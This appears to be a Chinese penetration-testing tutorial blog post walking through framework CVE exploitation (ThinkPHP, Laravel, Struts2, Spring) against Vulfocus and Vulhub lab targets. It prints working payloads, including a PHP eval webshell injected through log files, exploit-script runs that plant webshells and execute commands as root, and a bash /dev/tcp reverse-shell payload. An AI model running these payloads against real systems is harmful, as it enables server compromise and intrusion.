🍬 博主介绍
👨🎓 博主介绍:大家好,我是 hacker-routing ,很高兴认识大家~
✨主攻领域:【渗透领域】【应急响应】 【Java、PHP】 【VulnHub靶场复现】【面试分析】
🎉点赞➕评论➕收藏 == 养成习惯(一键三连)😋
🎉欢迎关注💗一起学习👍一起讨论⭐️一起进步📝文末有彩蛋
🙏作者水平有限,欢迎各位大佬指点,相互学习进步!
目录
0x1 大纲
0x2 知识点:
0x3 案例分析
1、PHP-开发框架安全-Thinkphp&Laravel
thinkphp3.2.x 代码执行
ThinkPHP5 5.0.23
laravel-cve_2021_3129
2、JAVAWEB-开发框架安全-Spring&Struts2
strust2 CVE-2020-17530
strust2 CVE_2021_31805
3、spring框架
spring 代码执行 (CVE-2017-4971)
0x1 大纲
0x2 知识点:
中间件及框架列表:
IIS,Apache,Nginx,Tomcat,Docker,K8s,Weblogic,JBoos,WebSphere,Jenkins ,GlassFish,Jetty,Jira,Struts2,Laravel,Solr,Shiro,Thinkphp,Spring,Flask,jQuery等
1、开发框架-PHP-Laravel-Thinkphp
2、开发框架-Javaweb-St2-Spring
3、开发框架-Python-django-Flask
4、开发框架-Javascript-Node.js-JQuery
常见语言开发框架:
**PHP:Thinkphp Laravel YII CodeIgniter CakePHP Zend等
JAVA:Spring MyBatis Hibernate Struts2 Springboot等
Python:Django Flask Bottle Turbobars Tornado Web2py等
Javascript:Vue.js Node.js Bootstrap JQuery Angular等
#章节内容:
常见中间件的安全测试:
1、配置不当-解析&弱口令
2、安全机制-特定安全漏洞
3、安全机制-弱口令爆破攻击
4、安全应用-框架特定安全漏洞
#前置知识:
-中间件安全测试流程:
1、判断中间件信息-名称&版本&三方
2、判断中间件问题-配置不当&公开漏洞
3、判断中间件利用-弱口令&EXP&框架漏洞
#应用服务安全测试流程:见图**
1、判断服务开放情况-端口扫描&组合应用等
2、判断服务类型归属-数据库&文件传输&通讯等
3、判断服务利用方式-特定漏洞&未授权&弱口令等
#开发框架组件安全测试流程:
1、判断常见语言开发框架类型
2、判断开发框架存在的CVE问题
3、判断开发框架CVE漏洞利用方式
什么是框架:
框架是一个别人写好的成品,要实现什么功能就可以调用里面的内置函数来实现这个功能的操作。
一个网站的源码应用,比如:实现文件上传功能
1.源码采用框架开发的
完全依赖于框架自身的安全机制,安不安全完全取决于这个框架。
比较简单,方便。
2.源码采用原生态开发的
整个的文件上传功能都是自己写的,自己控制,自己过滤。
比较复杂,需要从0开始。
0x3 案例分析
1、PHP-开发框架安全-Thinkphp&Laravel
听课前,先给师傅们分享个非常好用。功能很齐全的一个图形化武器库(武器库太牛了,我都想请它吃饭了)
图形化渗透测试武器库 V6.1 by安全圈小王子:
链接:https://pan.baidu.com/s/1goi2IBZaJwRWe2qCLO37ig?pwd=bxsi
提取码:bxsi
thinkphp3.2.x 代码执行
我们这里直接使用thinkphp漏洞利用1.2版本的工具
靶场环境:Vulfocus 漏洞威胁分析平台
我们访问靶场,然后可以使用wappalyzer插件检测出来是ThinkPHP框架,也可以在网站数据包中找到ThinkPHP关键字
我们直接利用这个工具进行命令执行,然后访问下面的http地址,再右击查看源代码就可以找到flag,也就是命令执行的内容了
如何getshell
请求地址的时候会写入日志文件
http://123.58.224.8:41855//?m=Home&c=Index&a=index&value[_filename]=./<?php eval($_REQUEST['a']);?>
日志文件的地址
http://123.58.224.8:41855//?m=Home&c=Index&a=index&value[_filename]=./Application/Runtime/Logs/Home/24_05_08.log
可以看到我们的木马文件写入成功了
然后再连接蚁剑即可
手工注入
参考文献:【漏洞通报】ThinkPHP3.2.x RCE漏洞通报
ThinkPHP5 5.0.23
ThinkPHP是一款运用极广的PHP开发框架。其5.0.23以前的版本中,获取method的方法中没有正确处理方法名,导致攻击者可以调用Request类任意方法并构造利用链,从而导致远程代码执行漏洞。
靶场环境搭建:
Vulhub - Docker-Compose file for vulnerability environment
先切换到vulhub-master/thinkphp/5.0.23-rce目录下,然后输入:
┌──(root💀kali)-[~/桌面/vulhub-master/thinkphp/5.0.23-rce]
└─# docker-compose up -d
使用工具直接检测出来这个漏洞,然后命令执行
laravel-cve_2021_3129
描述:
Laravel是一套简洁、开源的PHP Web开发框架,旨在实现Web软件的MVC架构。
Laravel开启了Debug模式时,由于Laravel自带的Ignition 组件对file_get_contents()和file_put_contents()函数的不安全使用,攻击者可以通过发起恶意请求,构造恶意Log文件等方式触发Phar反序列化,最终造成远程代码执行。
靶场环境:
Vulfocus 漏洞威胁分析平台
插件检测:
漏洞EXP如下:
GitHub - ajisai-babu/CVE-2021-3129-exp: Laravel Debug mode RCE漏洞(CVE-2021-3129)poc / exp
# poc
python CVE-2021-3129.py -u http://xxxxx.com
[✅]检测到漏洞![🚩]url: http://xxxxx.com [❇️info]PHP版本:7.4.14 网站路径:/var/www/html 服务器地址:172.17.0.2 系统版本:Linux 8e172820ac78 4.4.0-142-generic #168~14.04.1-Ubunt6:28 UTC 2019 x86_64
# exp
python CVE-2021-3129.py -u http://xxxxx.com --exp
[✅]检测到漏洞![🚩]url: http://xxxxx.com [❇️info]PHP版本:7.4.14 网站路径:/var/www/html 服务器地址:172.17.0.2 系统版本:Linux 8e172820ac78 4.4.0-142-generic #168~14.04.1-Ubunt6:28 UTC 2019 x86_64
[OK] 成功写入webshell, 访问地址 http://xxxxx.com/shell.php , 密码 whoami
# proxy
python CVE-2021-3129.py -u http://xxxxx.com/ -p socks5://127.0.0.1:7890
python CVE-2021-3129.py -u http://xxxxx.com/ --exp -p socks5://127.0.0.1:7890
这里直接演示利用这个exp写入webshell,然后getshell操作
2、JAVAWEB-开发框架安全-Spring&Struts2
strust2:是一个基于 MVC 设计模式的 Web 应用框架
靶场环境:
Vulfocus 漏洞威胁分析平台
如何判断用的是strust2,如果后缀是action
20年以前的漏洞都可以直接利用工具利用
用工具直接可以检测出来,然后命令执行成功,成功拿到了flag
strust2 CVE-2020-17530
靶场环境:
Vulfocus 漏洞威胁分析平台
执行脚本如下:
https://github.com/wuzuowei/CVE-2020-17530
┌──(root💀kali)-[~/桌面/CVE-2020-17530-main]
└─# python3 struts2-061-poc.py http://123.58.224.8:54127 "ls /tmp" 3 ?
+------------------------------------------------------------+
+ PoC: python struts2-061-poc.py http://1.1.1.1:8081 id +
+ VER: Struts 2.0.0-2.5.25 +
+------------------------------------------------------------+
+ S2-061 RCE && CVE-2020-17530 +
+------------------------------------------------------------+
flag-{bmh4d63bd20-6555-463f-adff-c412e642d557}
hsperfdata_root
┌──(root💀kali)-[~/桌面/CVE-2020-17530-main]
└─# python2 S2-061-shell.py http://123.58.224.8:54127
Please input your listening ip:
10.10.10.128
Please input your listening port:
4444
strust2 CVE_2021_31805
脚本地址:
https://github.com/pyroxenites/s2-062
这里使用docker搭建的环境,开始使用vulfocus.cn上的靶场环境一直执行不了EXP
┌──(root💀kali)-[~/桌面/s2-062-main]
└─# python3 s2-062.py --url http://10.10.10.128:8080 --cmd whoami
命令回显
root
┌──(root💀kali)-[~/桌面/s2-062-main]
└─# python3 s2-062.py --url http://10.10.10.128:8080 --cmd id
命令回显
uid=0(root) gid=0(root) groups=0(root)
3、spring框架
spring本身漏洞不多,大部分漏洞都在他的一些分支上
spring 代码执行 (CVE-2017-4971)
漏洞环境:
Vulfocus 漏洞威胁分析平台
漏洞测试参考文档:
Vulhub - Docker-Compose file for vulnerability environment
用官方给的账号密码登录进去
然后访问http://123.58.224.8:17210/hotels/1,预定id为1的 酒店
点击预订按钮“Book Hotel”,填写相关信息后点击“Process”(从这一步,其实WebFlow就正式开始了):
再点击确认“Confirm”:
此时抓包,抓到一个POST数据包,我们向其中添加一个字段(也就是反弹shell的POC)
不过这里的csrf值需要修改(这里是你开始抓包默认的,都不一样)
_eventId_confirm=&_csrf=xxxxxxx&_(new+java.lang.ProcessBuilder("bash","-c","bash+-i+>%26+/dev/tcp/x.x.x.x/4444+0>%261")).start()=vulhub